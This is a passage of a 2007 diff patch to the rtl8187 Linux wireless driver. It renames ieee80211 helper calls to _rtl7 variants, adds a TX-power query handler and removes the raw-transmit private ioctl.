rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-04-23 00:08:11.000000000 +0200 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,147 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); + + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); - + return ret; - } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +226,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +259,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +283,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +307,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +326,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +378,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +409,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +417,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +437,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +487,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +525,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +543,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +573,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +611,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -624,31 +664,27 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +696,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +714,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-04-23 00:08:11.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: 